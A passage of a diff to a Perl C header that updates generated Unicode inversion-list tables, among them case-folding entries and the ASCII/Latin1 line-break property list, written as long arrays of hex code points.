+	0x1E32,
+	0,
+	0x1E34,
+	0,
+	0x1E36,
+	0,
+	0x1E38,
+	0,
+	0x1E3A,
+	0,
+	0x1E3C,
+	0,
+	0x1E3E,
+	0,
+	0x1E40,
+	0,
+	0x1E42,
+	0,
+	0x1E44,
+	0,
+	0x1E46,
+	0,
+	0x1E48,
+	0,
+	0x1E4A,
+	0,
+	0x1E4C,
+	0,
+	0x1E4E,
+	0,
+	0x1E50,
+	0,
+	0x1E52,
+	0,
+	0x1E54,
+	0,
+	0x1E56,
+	0,
+	0x1E58,
+	0,
+	0x1E5A,
+	0,
+	0x1E5C,
+	0,
+	0x1E5E,
+	0,
+	IVCF_use_AUX_TABLE_26,
+	0,
+	0x1E62,
+	0,
+	0x1E64,
+	0,
+	0x1E66,
+	0,
+	0x1E68,
+	0,
+	0x1E6A,
+	0,
+	0x1E6C,
+	0,
+	0x1E6E,
+	0,
+	0x1E70,
+	0,
+	0x1E72,
+	0,
+	0x1E74,
+	0,
+	0x1E76,
+	0,
+	0x1E78,
+	0,
+	0x1E7A,
+	0,
+	0x1E7C,
+	0,
+	0x1E7E,
+	0,
+	0x1E80,
+	0,
+	0x1E82,
+	0,
+	0x1E84,
+	0,
+	0x1E86,
+	0,
+	0x1E88,
+	0,
+	0x1E8A,
+	0,
+	0x1E8C,
+	0,
+	0x1E8E,
+	0,
+	0x1E90,
+	0,
+	0x1E92,
+	0,
+	0x1E94,
+	0,
+	0xDF,
+	0,
+	0x1EA0,
+	0,
+	0x1EA2,
+	0,
+	0x1EA4,
+	0,
+	0x1EA6,
+	0,
+	0x1EA8,
+	0,
+	0x1EAA,
+	0,
+	0x1EAC,
+	0,
+	0x1EAE,
+	0,
+	0x1EB0,
+	0,
+	0x1EB2,
+	0,
+	0x1EB4,
+	0,
+	0x1EB6,
+	0,
+	0x1EB8,
+	0,
+	0x1EBA,
+	0,
+	0x1EBC,
+	0,
+	0x1EBE,
+	0,
+	0x1EC0,
+	0,
+	0x1EC2,
+	0,
+	0x1EC4,
+	0,
+	0x1EC6,
+	0,
+	0x1EC8,
+	0,
+	0x1ECA,
+	0,
+	0x1ECC,
+	0,
+	0x1ECE,
+	0,
+	0x1ED0,
+	0,
+	0x1ED2,
+	0,
+	0x1ED4,
+	0,
+	0x1ED6,
+	0,
+	0x1ED8,
+	0,
+	0x1EDA,
+	0,
+	0x1EDC,
+	0,
+	0x1EDE,
+	0,
+	0x1EE0,
+	0,
+	0x1EE2,
+	0,
+	0x1EE4,
+	0,
+	0x1EE6,
+	0,
+	0x1EE8,
+	0,
+	0x1EEA,
+	0,
+	0x1EEC,
+	0,
+	0x1EEE,
+	0,
+	0x1EF0,
+	0,
+	0x1EF2,
+	0,
+	0x1EF4,
+	0,
+	0x1EF6,
+	0,
+	0x1EF8,
+	0,
+	0x1EFA,
+	0,
+	0x1EFC,
+	0,
+	0x1EFE,
+	0x1F08,
+	0,
+	0x1F18,
+	0,
+	0x1F28,
+	0,
+	0x1F38,
+	0,
+	0x1F48,
+	0,
+	0x1F59,
+	0,
+	0x1F5B,
+	0,
+	0x1F5D,
+	0,
+	0x1F5F,
+	0,
+	0x1F68,
+	0,
+	0x1FBA,
+	0x1FC8,
+	0x1FDA,
+	0x1FF8,
+	0x1FEA,
+	0x1FFA,
+	0,
+	0x1F88,
+	0x1F80,
+	0x1F98,
+	0x1F90,
+	0x1FA8,
+	0x1FA0,
+	0x1FB8,
+	0,
+	0x1FBC,
+	0,
+	0x1FB3,
+	0,
+	0x1FCC,
+	0,
+	0x1FC3,
+	0,
+	0x1FD8,
+	0,
+	0x390,
+	0,
+	0x1FE8,
+	0,
+	0x3B0,
+	0,
+	0x1FEC,
+	0,
+	0x1FFC,
+	0,
+	0x1FF3,
+	0,
+	0x2132,
+	0,
+	0x2160,
+	0,
+	0x2183,
+	0,
+	0x24B6,
+	0,
+	0x2C00,
+	0,
+	0x2C60,
+	0,
+	0x23A,
+	0x23E,
+	0,
+	0x2C67,
+	0,
+	0x2C69,
+	0,
+	0x2C6B,
+	0,
+	0x2C72,
+	0,
+	0x2C75,
+	0,
+	0x2C80,
+	0,
+	0x2C82,
+	0,
+	0x2C84,
+	0,
+	0x2C86,
+	0,
+	0x2C88,
+	0,
+	0x2C8A,
+	0,
+	0x2C8C,
+	0,
+	0x2C8E,
+	0,
+	0x2C90,
+	0,
+	0x2C92,
+	0,
+	0x2C94,
+	0,
+	0x2C96,
+	0,
+	0x2C98,
+	0,
+	0x2C9A,
+	0,
+	0x2C9C,
+	0,
+	0x2C9E,
+	0,
+	0x2CA0,
+	0,
+	0x2CA2,
+	0,
+	0x2CA4,
+	0,
+	0x2CA6,
+	0,
+	0x2CA8,
+	0,
+	0x2CAA,
+	0,
+	0x2CAC,
+	0,
+	0x2CAE,
+	0,
+	0x2CB0,
+	0,
+	0x2CB2,
+	0,
+	0x2CB4,
+	0,
+	0x2CB6,
+	0,
+	0x2CB8,
+	0,
+	0x2CBA,
+	0,
+	0x2CBC,
+	0,
+	0x2CBE,
+	0,
+	0x2CC0,
+	0,
+	0x2CC2,
+	0,
+	0x2CC4,
+	0,
+	0x2CC6,
+	0,
+	0x2CC8,
+	0,
+	0x2CCA,
+	0,
+	0x2CCC,
+	0,
+	0x2CCE,
+	0,
+	0x2CD0,
+	0,
+	0x2CD2,
+	0,
+	0x2CD4,
+	0,
+	0x2CD6,
+	0,
+	0x2CD8,
+	0,
+	0x2CDA,
+	0,
+	0x2CDC,
+	0,
+	0x2CDE,
+	0,
+	0x2CE0,
+	0,
+	0x2CE2,
+	0,
+	0x2CEB,
+	0,
+	0x2CED,
+	0,
+	0x2CF2,
+	0,
+	0x10A0,
+	0,
+	0x10C7,
+	0,
+	0x10CD,
+	0,
+	0xA640,
+	0,
+	0xA642,
+	0,
+	0xA644,
+	0,
+	0xA646,
+	0,
+	0xA648,
+	0,
+	IVCF_use_AUX_TABLE_27,
+	0,
+	0xA64C,
+	0,
+	0xA64E,
+	0,
+	0xA650,
+	0,
+	0xA652,
+	0,
+	0xA654,
+	0,
+	0xA656,
+	0,
+	0xA658,
+	0,
+	0xA65A,
+	0,
+	0xA65C,
+	0,
+	0xA65E,
+	0,
+	0xA660,
+	0,
+	0xA662,
+	0,
+	0xA664,
+	0,
+	0xA666,
+	0,
+	0xA668,
+	0,
+	0xA66A,
+	0,
+	0xA66C,
+	0,
+	0xA680,
+	0,
+	0xA682,
+	0,
+	0xA684,
+	0,
+	0xA686,
+	0,
+	0xA688,
+	0,
+	0xA68A,
+	0,
+	0xA68C,
+	0,
+	0xA68E,
+	0,
+	0xA690,
+	0,
+	0xA692,
+	0,
+	0xA694,
+	0,
+	0xA696,
+	0,
+	0xA698,
+	0,
+	0xA69A,
+	0,
+	0xA722,
+	0,
+	0xA724,
+	0,
+	0xA726,
+	0,
+	0xA728,
+	0,
+	0xA72A,
+	0,
+	0xA72C,
+	0,
+	0xA72E,
+	0,
+	0xA732,
+	0,
+	0xA734,
+	0,
+	0xA736,
+	0,
+	0xA738,
+	0,
+	0xA73A,
+	0,
+	0xA73C,
+	0,
+	0xA73E,
+	0,
+	0xA740,
+	0,
+	0xA742,
+	0,
+	0xA744,
+	0,
+	0xA746,
+	0,
+	0xA748,
+	0,
+	0xA74A,
+	0,
+	0xA74C,
+	0,
+	0xA74E,
+	0,
+	0xA750,
+	0,
+	0xA752,
+	0,
+	0xA754,
+	0,
+	0xA756,
+	0,
+	0xA758,
+	0,
+	0xA75A,
+	0,
+	0xA75C,
+	0,
+	0xA75E,
+	0,
+	0xA760,
+	0,
+	0xA762,
+	0,
+	0xA764,
+	0,
+	0xA766,
+	0,
+	0xA768,
+	0,
+	0xA76A,
+	0,
+	0xA76C,
+	0,
+	0xA76E,
+	0,
+	0xA779,
+	0,
+	0xA77B,
+	0,
+	0xA77E,
+	0,
+	0xA780,
+	0,
+	0xA782,
+	0,
+	0xA784,
+	0,
+	0xA786,
+	0,
+	0xA78B,
+	0,
+	0xA790,
+	0,
+	0xA792,
+	0,
+	0xA796,
+	0,
+	0xA798,
+	0,
+	0xA79A,
+	0,
+	0xA79C,
+	0,
+	0xA79E,
+	0,
+	0xA7A0,
+	0,
+	0xA7A2,
+	0,
+	0xA7A4,
+	0,
+	0xA7A6,
+	0,
+	0xA7A8,
+	0,
+	0xA7B4,
+	0,
+	0xA7B6,
+	0,
+	0xA7B3,
+	0,
+	0xFB06,
+	0xFB05,
+	0,
+	0xFF21,
+	0,
+	0x10400,
+	0,
+	0x104B0,
+	0,
+	0x10C80,
+	0,
+	0x118A0,
+	0,
+	0x1E900
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV _Perl_LB_invlist[] = { /* for ASCII/Latin1 */
+	2313,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x9,
+	0xA,
+	0xB,
+	0xD,
+	0xE,
+	0x20,
+	0x21,
+	0x22,
+	0x23,
+	0x24,
+	0x25,
+	0x26,
+	0x27,
+	0x28,
+	0x29,
+	0x2A,
+	0x2B,
+	0x2C,
+	0x2D,
+	0x2E,
+	0x2F,
+	0x30,
+	0x3A,
+	0x3C,
+	0x3F,
+	0x40,
+	0x5B,
+	0x5C,
+	0x5D,
+	0x5E,
+	0x7B,
+	0x7C,
+	0x7D,
+	0x7E,
+	0x7F,
+	0x85,
+	0x86,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xA3,
+	0xA6,
+	0xAB,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xB0,
+	0xB1,
+	0xB2,
+	0xB4,
+	0xB5,
+	0xBB,
+	0xBC,
+	0xBF,
+	0xC0,
+	0x2C8,
+	0x2C9,
+	0x2CC,
+	0x2CD,
+	0x2DF,
+	0x2E0,
+	0x300,
+	0x34F,
+	0x350,
+	0x35C,
+	0x363,
+	0x370,
+	0x37E,
+	0x37F,
 	0x483,
-	0x488,
 	0x48A,
-	0x530,
-	0x531,
-	0x557,
-	0x559,
-	0x55A,
-	0x561,
-	0x588,
+	0x589,
+	0x58A,
+	0x58B,
+	0x58F,
+	0x590,
 	0x591,
 	0x5BE,
 	0x5BF,
@@ -5339,86 +37142,95 @@
 	0x5EB,
 	0x5F0,
 	0x5F3,
+	0x609,
+	0x60C,
+	0x60E,
 	0x610,
 	0x61B,
+	0x61C,
+	0x61D,
+	0x61E,
 	0x620,
+	0x64B,
+	0x660,
 	0x66A,
-	0x66E,
+	0x66B,
+	0x66D,
+	0x670,
+	0x671,
 	0x6D4,
 	0x6D5,
+	0x6D6,
 	0x6DD,
 	0x6DF,
+	0x6E5,
+	0x6E7,
 	0x6E9,
 	0x6EA,
-	0x6FD,
-	0x6FF,
-	0x700,
-	0x710,
+	0x6EE,
+	0x6F0,
+	0x6FA,
+	0x711,
+	0x712,
+	0x730,
 	0x74B,
-	0x74D,
-	0x7B2,
+	0x7A6,
+	0x7B1,
 	0x7C0,
-	0x7F6,
+	0x7CA,
+	0x7EB,
+	0x7F4,
+	0x7F8,
+	0x7F9,
 	0x7FA,
-	0x7FB,
-	0x800,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
 	0x82E,
-	0x840,
+	0x859,
 	0x85C,
-	0x8A0,
-	0x8B5,
-	0x8B6,
-	0x8BE,
 	0x8D4,
 	0x8E2,
 	0x8E3,
+	0x904,
+	0x93A,
+	0x93D,
+	0x93E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
 	0x964,
 	0x966,
 	0x970,
-	0x971,
+	0x981,
 	0x984,
-	0x985,
-	0x98D,
-	0x98F,
-	0x991,
-	0x993,
-	0x9A9,
-	0x9AA,
-	0x9B1,
-	0x9B2,
-	0x9B3,
-	0x9B6,
-	0x9BA,
 	0x9BC,
+	0x9BD,
+	0x9BE,
 	0x9C5,
 	0x9C7,
 	0x9C9,
 	0x9CB,
-	0x9CF,
+	0x9CE,
 	0x9D7,
 	0x9D8,
-	0x9DC,
-	0x9DE,
-	0x9DF,
+	0x9E2,
 	0x9E4,
 	0x9E6,
+	0x9F0,
 	0x9F2,
+	0x9F4,
+	0x9F9,
+	0x9FA,
+	0x9FB,
+	0x9FC,
 	0xA01,
 	0xA04,
-	0xA05,
-	0xA0B,
-	0xA0F,
-	0xA11,
-	0xA13,
-	0xA29,
-	0xA2A,
-	0xA31,
-	0xA32,
-	0xA34,
-	0xA35,
-	0xA37,
-	0xA38,
-	0xA3A,
 	0xA3C,
 	0xA3D,
 	0xA3E,
@@ -5429,55 +37241,34 @@
 	0xA4E,
 	0xA51,
 	0xA52,
-	0xA59,
-	0xA5D,
-	0xA5E,
-	0xA5F,
 	0xA66,
+	0xA70,
+	0xA72,
+	0xA75,
 	0xA76,
 	0xA81,
 	0xA84,
-	0xA85,
-	0xA8E,
-	0xA8F,
-	0xA92,
-	0xA93,
-	0xAA9,
-	0xAAA,
-	0xAB1,
-	0xAB2,
-	0xAB4,
-	0xAB5,
-	0xABA,
 	0xABC,
+	0xABD,
+	0xABE,
 	0xAC6,
 	0xAC7,
 	0xACA,
 	0xACB,
 	0xACE,
-	0xAD0,
-	0xAD1,
-	0xAE0,
+	0xAE2,
 	0xAE4,
 	0xAE6,
 	0xAF0,
-	0xAF9,
+	0xAF1,
+	0xAF2,
 	0xAFA,
+	0xB00,
 	0xB01,
 	0xB04,
-	0xB05,
-	0xB0D,
-	0xB0F,
-	0xB11,
-	0xB13,
-	0xB29,
-	0xB2A,
-	0xB31,
-	0xB32,
-	0xB34,
-	0xB35,
-	0xB3A,
 	0xB3C,
+	0xB3D,
+	0xB3E,
 	0xB45,
 	0xB47,
 	0xB49,
@@ -5485,34 +37276,12 @@
 	0xB4E,
 	0xB56,
 	0xB58,
-	0xB5C,
-	0xB5E,
-	0xB5F,
+	0xB62,
 	0xB64,
 	0xB66,
 	0xB70,
-	0xB71,
-	0xB72,
 	0xB82,
-	0xB84,
-	0xB85,
-	0xB8B,
-	0xB8E,
-	0xB91,
-	0xB92,
-	0xB96,
-	0xB99,
-	0xB9B,
-	0xB9C,
-	0xB9D,
-	0xB9E,
-	0xBA0,
-	0xBA3,
-	0xBA5,
-	0xBA8,
-	0xBAB,
-	0xBAE,
-	0xBBA,
+	0xB83,
 	0xBBE,
 	0xBC3,
 	0xBC6,
@@ -5519,23 +37288,15 @@
 	0xBC9,
 	0xBCA,
 	0xBCE,
-	0xBD0,
-	0xBD1,
 	0xBD7,
 	0xBD8,
 	0xBE6,
 	0xBF0,
+	0xBF9,
+	0xBFA,
 	0xC00,
 	0xC04,
-	0xC05,
-	0xC0D,
-	0xC0E,
-	0xC11,
-	0xC12,
-	0xC29,
-	0xC2A,
-	0xC3A,
-	0xC3D,
+	0xC3E,
 	0xC45,
 	0xC46,
 	0xC49,
@@ -5543,25 +37304,15 @@
 	0xC4E,
 	0xC55,
 	0xC57,
-	0xC58,
-	0xC5B,
-	0xC60,
+	0xC62,
 	0xC64,
 	0xC66,
 	0xC70,
-	0xC80,
+	0xC81,
 	0xC84,
-	0xC85,
-	0xC8D,
-	0xC8E,
-	0xC91,
-	0xC92,
-	0xCA9,
-	0xCAA,
-	0xCB4,
-	0xCB5,
-	0xCBA,
 	0xCBC,
+	0xCBD,
+	0xCBE,
 	0xCC5,
 	0xCC6,
 	0xCC9,
@@ -5569,48 +37320,30 @@
 	0xCCE,
 	0xCD5,
 	0xCD7,
-	0xCDE,
-	0xCDF,
-	0xCE0,
+	0xCE2,
 	0xCE4,
 	0xCE6,
 	0xCF0,
-	0xCF1,
-	0xCF3,
-	0xD01,
+	0xD00,
 	0xD04,
-	0xD05,
-	0xD0D,
-	0xD0E,
-	0xD11,
-	0xD12,
 	0xD3B,
 	0xD3D,
+	0xD3E,
 	0xD45,
 	0xD46,
 	0xD49,
 	0xD4A,
-	0xD4F,
-	0xD54,
+	0xD4E,
+	0xD57,
 	0xD58,
-	0xD5F,
+	0xD62,
 	0xD64,
 	0xD66,
 	0xD70,
+	0xD79,
 	0xD7A,
-	0xD80,
 	0xD82,
 	0xD84,
-	0xD85,
-	0xD97,
-	0xD9A,
-	0xDB2,
-	0xDB3,
-	0xDBC,
-	0xDBD,
-	0xDBE,
-	0xDC0,
-	0xDC7,
 	0xDCA,
 	0xDCB,
 	0xDCF,
@@ -5623,54 +37356,44 @@
 	0xDF0,
 	0xDF2,
 	0xDF4,
-	0xE01,
+	0xE31,
+	0xE32,
+	0xE34,
 	0xE3B,
+	0xE3F,
 	0xE40,
+	0xE47,
 	0xE4F,
 	0xE50,
 	0xE5A,
-	0xE81,
-	0xE83,
-	0xE84,
-	0xE85,
-	0xE87,
-	0xE89,
-	0xE8A,
-	0xE8B,
-	0xE8D,
-	0xE8E,
-	0xE94,
-	0xE98,
-	0xE99,
-	0xEA0,
-	0xEA1,
-	0xEA4,
-	0xEA5,
-	0xEA6,
-	0xEA7,
-	0xEA8,
-	0xEAA,
-	0xEAC,
-	0xEAD,
+	0xE5C,
+	0xEB1,
+	0xEB2,
+	0xEB4,
 	0xEBA,
 	0xEBB,
-	0xEBE,
-	0xEC0,
-	0xEC5,
-	0xEC6,
-	0xEC7,
+	0xEBD,
 	0xEC8,
 	0xECE,
 	0xED0,
 	0xEDA,
-	0xEDC,
-	0xEE0,
-	0xF00,
 	0xF01,
+	0xF05,
+	0xF06,
+	0xF08,
+	0xF09,
+	0xF0B,
+	0xF0C,
+	0xF0D,
+	0xF12,
+	0xF13,
+	0xF14,
+	0xF15,
 	0xF18,
 	0xF1A,
 	0xF20,
 	0xF2A,
+	0xF34,
 	0xF35,
 	0xF36,
 	0xF37,
@@ -5677,395 +37400,614 @@
 	0xF38,
 	0xF39,
 	0xF3A,
+	0xF3B,
+	0xF3C,
+	0xF3D,
 	0xF3E,
-	0xF48,
-	0xF49,
-	0xF6D,
+	0xF40,
 	0xF71,
+	0xF7F,
+	0xF80,
 	0xF85,
 	0xF86,
+	0xF88,
+	0xF8D,
 	0xF98,
 	0xF99,
 	0xFBD,
+	0xFBE,
+	0xFC0,
 	0xFC6,
 	0xFC7,
-	0x1000,
+	0xFD0,
+	0xFD2,
+	0xFD3,
+	0xFD4,
+	0xFD9,
+	0xFDB,
+	0x102B,
+	0x103F,
+	0x1040,
 	0x104A,
-	0x1050,
+	0x104C,
+	0x1056,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1062,
+	0x1065,
+	0x1067,
+	0x106E,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x108E,
+	0x108F,
+	0x1090,
+	0x109A,
 	0x109E,
-	0x10A0,
-	0x10C6,
-	0x10C7,
-	0x10C8,
-	0x10CD,
-	0x10CE,
-	0x10D0,
-	0x10FB,
-	0x10FC,
-	0x1249,
-	0x124A,
-	0x124E,
-	0x1250,
-	0x1257,
-	0x1258,
-	0x1259,
-	0x125A,
-	0x125E,
-	0x1260,
-	0x1289,
-	0x128A,
-	0x128E,
-	0x1290,
-	0x12B1,
-	0x12B2,
-	0x12B6,
-	0x12B8,
-	0x12BF,
-	0x12C0,
-	0x12C1,
-	0x12C2,
-	0x12C6,
-	0x12C8,
-	0x12D7,
-	0x12D8,
-	0x1311,
-	0x1312,
-	0x1316,
-	0x1318,
-	0x135B,
+	0x1100,
+	0x1160,
+	0x11A8,
+	0x1200,
 	0x135D,
 	0x1360,
-	0x1380,
-	0x1390,
-	0x13A0,
-	0x13F6,
-	0x13F8,
-	0x13FE,
+	0x1361,
+	0x1362,
+	0x1400,
 	0x1401,
-	0x166D,
-	0x166F,
 	0x1680,
 	0x1681,
 	0x169B,
-	0x16A0,
+	0x169C,
+	0x169D,
 	0x16EB,
 	0x16EE,
-	0x16F9,
-	0x1700,
-	0x170D,
-	0x170E,
+	0x1712,
 	0x1715,
-	0x1720,
+	0x1732,
 	0x1735,
-	0x1740,
+	0x1737,
+	0x1752,
 	0x1754,
-	0x1760,
-	0x176D,
-	0x176E,
-	0x1771,
 	0x1772,
 	0x1774,
-	0x1780,
+	0x17B4,
 	0x17D4,
+	0x17D6,
 	0x17D7,
 	0x17D8,
+	0x17D9,
+	0x17DA,
+	0x17DB,
 	0x17DC,
+	0x17DD,
 	0x17DE,
 	0x17E0,
 	0x17EA,
+	0x1802,
+	0x1804,
+	0x1806,
+	0x1807,
+	0x1808,
+	0x180A,
 	0x180B,
 	0x180E,
+	0x180F,
 	0x1810,
 	0x181A,
-	0x1820,
-	0x1878,
-	0x1880,
-	0x18AB,
-	0x18B0,
-	0x18F6,
-	0x1900,
-	0x191F,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
 	0x1920,
 	0x192C,
 	0x1930,
 	0x193C,
+	0x1944,
 	0x1946,
-	0x196E,
-	0x1970,
-	0x1975,
-	0x1980,
-	0x19AC,
-	0x19B0,
-	0x19CA,
+	0x1950,
 	0x19D0,
 	0x19DA,
-	0x1A00,
+	0x1A17,
 	0x1A1C,
-	0x1A20,
+	0x1A55,
 	0x1A5F,
 	0x1A60,
 	0x1A7D,
 	0x1A7F,
+	0x1A80,
 	0x1A8A,
 	0x1A90,
 	0x1A9A,
-	0x1AA7,
-	0x1AA8,
 	0x1AB0,
-	0x1ABE,
+	0x1ABF,
 	0x1B00,
-	0x1B4C,
+	0x1B05,
+	0x1B34,
+	0x1B45,
 	0x1B50,
 	0x1B5A,
+	0x1B5C,
+	0x1B5D,
+	0x1B61,
 	0x1B6B,
 	0x1B74,
 	0x1B80,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
+	0x1BB0,
+	0x1BBA,
+	0x1BE6,
 	0x1BF4,
-	0x1C00,
+	0x1C24,
 	0x1C38,
+	0x1C3B,
 	0x1C40,
 	0x1C4A,
-	0x1C4D,
+	0x1C50,
+	0x1C5A,
 	0x1C7E,
 	0x1C80,
-	0x1C89,
 	0x1CD0,
 	0x1CD3,
 	0x1CD4,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF5,
 	0x1CF7,
-	0x1CF8,
 	0x1CFA,
-	0x1D00,
-	0x1DF6,
+	0x1DC0,
+	0x1DFA,
 	0x1DFB,
-	0x1F16,
-	0x1F18,
-	0x1F1E,
-	0x1F20,
-	0x1F46,
-	0x1F48,
-	0x1F4E,
-	0x1F50,
-	0x1F58,
-	0x1F59,
-	0x1F5A,
-	0x1F5B,
-	0x1F5C,
-	0x1F5D,
-	0x1F5E,
-	0x1F5F,
-	0x1F7E,
-	0x1F80,
-	0x1FB5,
-	0x1FB6,
-	0x1FBD,
-	0x1FBE,
-	0x1FBF,
-	0x1FC2,
-	0x1FC5,
-	0x1FC6,
-	0x1FCD,
-	0x1FD0,
-	0x1FD4,
-	0x1FD6,
-	0x1FDC,
-	0x1FE0,
-	0x1FED,
-	0x1FF2,
-	0x1FF5,
-	0x1FF6,
+	0x1E00,
 	0x1FFD,
-	0x203F,
-	0x2041,
-	0x2054,
-	0x2055,
-	0x2071,
-	0x2072,
+	0x1FFE,
+	0x2000,
+	0x2007,
+	0x2008,
+	0x200B,
+	0x200C,
+	0x200D,
+	0x200E,
+	0x2010,
+	0x2011,
+	0x2012,
+	0x2014,
+	0x2015,
+	0x2018,
+	0x201A,
+	0x201B,
+	0x201E,
+	0x201F,
+	0x2020,
+	0x2024,
+	0x2027,
+	0x2028,
+	0x202A,
+	0x202F,
+	0x2030,
+	0x2038,
+	0x2039,
+	0x203B,
+	0x203C,
+	0x203E,
+	0x2044,
+	0x2045,
+	0x2046,
+	0x2047,
+	0x204A,
+	0x2056,
+	0x2057,
+	0x2058,
+	0x205C,
+	0x205D,
+	0x2060,
+	0x2061,
+	0x2066,
+	0x2070,
+	0x207D,
+	0x207E,
 	0x207F,
-	0x2080,
-	0x2090,
-	0x209D,
+	0x208D,
+	0x208E,
+	0x208F,
+	0x20A0,
+	0x20A7,
+	0x20A8,
+	0x20B6,
+	0x20B7,
+	0x20BB,
+	0x20BC,
+	0x20BE,
+	0x20BF,
 	0x20D0,
-	0x20DD,
-	0x20E1,
-	0x20E2,
-	0x20E5,
 	0x20F1,
-	0x2102,
 	0x2103,
-	0x2107,
-	0x2108,
+	0x2104,
+	0x2109,
 	0x210A,
-	0x2114,
-	0x2115,
 	0x2116,
-	0x2119,
-	0x211E,
-	0x2124,
-	0x2125,
-	0x2126,
-	0x2127,
-	0x2128,
-	0x2129,
-	0x212A,
-	0x212E,
-	0x212F,
-	0x213A,
-	0x213C,
-	0x2140,
-	0x2145,
-	0x214A,
-	0x214E,
-	0x214F,
-	0x2160,
-	0x2189,
-	0x2C00,
-	0x2C2F,
-	0x2C30,
-	0x2C5F,
-	0x2C60,
-	0x2CE5,
-	0x2CEB,
-	0x2CF4,
+	0x2117,
+	0x2212,
+	0x2214,
+	0x22EF,
+	0x22F0,
+	0x2308,
+	0x2309,
+	0x230A,
+	0x230B,
+	0x230C,
+	0x231A,
+	0x231C,
+	0x2329,
+	0x232A,
+	0x232B,
+	0x23F0,
+	0x23F4,
+	0x2600,
+	0x2604,
+	0x2614,
+	0x2616,
+	0x2618,
+	0x2619,
+	0x261A,
+	0x261D,
+	0x261E,
+	0x2620,
+	0x2639,
+	0x263C,
+	0x2668,
+	0x2669,
+	0x267F,
+	0x2680,
+	0x26BD,
+	0x26C9,
+	0x26CD,
+	0x26CE,
+	0x26CF,
+	0x26D2,
+	0x26D3,
+	0x26D5,
+	0x26D8,
+	0x26DA,
+	0x26DC,
+	0x26DD,
+	0x26DF,
+	0x26E2,
+	0x26EA,
+	0x26EB,
+	0x26F1,
+	0x26F6,
+	0x26F7,
+	0x26F9,
+	0x26FA,
+	0x26FB,
+	0x26FD,
+	0x2705,
+	0x2708,
+	0x270A,
+	0x270E,
+	0x275B,
+	0x2761,
+	0x2762,
+	0x2764,
+	0x2765,
+	0x2768,
+	0x2769,
+	0x276A,
+	0x276B,
+	0x276C,
+	0x276D,
+	0x276E,
+	0x276F,
+	0x2770,
+	0x2771,
+	0x2772,
+	0x2773,
+	0x2774,
+	0x2775,
+	0x2776,
+	0x27C5,
+	0x27C6,
+	0x27C7,
+	0x27E6,
+	0x27E7,
+	0x27E8,
+	0x27E9,
+	0x27EA,
+	0x27EB,
+	0x27EC,
+	0x27ED,
+	0x27EE,
+	0x27EF,
+	0x27F0,
+	0x2983,
+	0x2984,
+	0x2985,
+	0x2986,
+	0x2987,
+	0x2988,
+	0x2989,
+	0x298A,
+	0x298B,
+	0x298C,
+	0x298D,
+	0x298E,
+	0x298F,
+	0x2990,
+	0x2991,
+	0x2992,
+	0x2993,
+	0x2994,
+	0x2995,
+	0x2996,
+	0x2997,
+	0x2998,
+	0x2999,
+	0x29D8,
+	0x29D9,
+	0x29DA,
+	0x29DB,
+	0x29DC,
+	0x29FC,
+	0x29FD,
+	0x29FE,
+	0x2CEF,
+	0x2CF2,
+	0x2CF9,
+	0x2CFA,
+	0x2CFD,
+	0x2CFE,
+	0x2CFF,
 	0x2D00,
-	0x2D26,
-	0x2D27,
-	0x2D28,
-	0x2D2D,
-	0x2D2E,
-	0x2D30,
-	0x2D68,
-	0x2D6F,
 	0x2D70,
+	0x2D71,
 	0x2D7F,
-	0x2D97,
-	0x2DA0,
-	0x2DA7,
-	0x2DA8,
-	0x2DAF,
-	0x2DB0,
-	0x2DB7,
-	0x2DB8,
-	0x2DBF,
-	0x2DC0,
-	0x2DC7,
-	0x2DC8,
-	0x2DCF,
-	0x2DD0,
-	0x2DD7,
-	0x2DD8,
-	0x2DDF,
+	0x2D80,
 	0x2DE0,
 	0x2E00,
+	0x2E0E,
+	0x2E16,
+	0x2E17,
+	0x2E18,
+	0x2E19,
+	0x2E1A,
+	0x2E1C,
+	0x2E1E,
+	0x2E20,
+	0x2E22,
+	0x2E23,
+	0x2E24,
+	0x2E25,
+	0x2E26,
+	0x2E27,
+	0x2E28,
+	0x2E29,
+	0x2E2A,
+	0x2E2E,
+	0x2E2F,
+	0x2E30,
+	0x2E32,
+	0x2E33,
+	0x2E35,
+	0x2E3A,
+	0x2E3C,
+	0x2E3F,
+	0x2E40,
+	0x2E42,
+	0x2E43,
+	0x2E4A,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3001,
+	0x3003,
 	0x3005,
+	0x3006,
 	0x3008,
-	0x3021,
+	0x3009,
+	0x300A,
+	0x300B,
+	0x300C,
+	0x300D,
+	0x300E,
+	0x300F,
+	0x3010,
+	0x3011,
+	0x3012,
+	0x3014,
+	0x3015,
+	0x3016,
+	0x3017,
+	0x3018,
+	0x3019,
+	0x301A,
+	0x301B,
+	0x301C,
+	0x301D,
+	0x301E,
+	0x3020,
+	0x302A,
 	0x3030,
-	0x3031,
+	0x3035,
 	0x3036,
-	0x3038,
+	0x303B,
 	0x303D,
+	0x3040,
 	0x3041,
+	0x3042,
+	0x3043,
+	0x3044,
+	0x3045,
+	0x3046,
+	0x3047,
+	0x3048,
+	0x3049,
+	0x304A,
+	0x3063,
+	0x3064,
+	0x3083,
+	0x3084,
+	0x3085,
+	0x3086,
+	0x3087,
+	0x3088,
+	0x308E,
+	0x308F,
+	0x3095,
 	0x3097,
 	0x3099,
 	0x309B,
-	0x309D,
+	0x309F,
 	0x30A0,
-	0x30A1,
+	0x30A2,
+	0x30A3,
+	0x30A4,
+	0x30A5,
+	0x30A6,
+	0x30A7,
+	0x30A8,
+	0x30A9,
+	0x30AA,
+	0x30C3,
+	0x30C4,
+	0x30E3,
+	0x30E4,
+	0x30E5,
+	0x30E6,
+	0x30E7,
+	0x30E8,
+	0x30EE,
+	0x30EF,
+	0x30F5,
+	0x30F7,
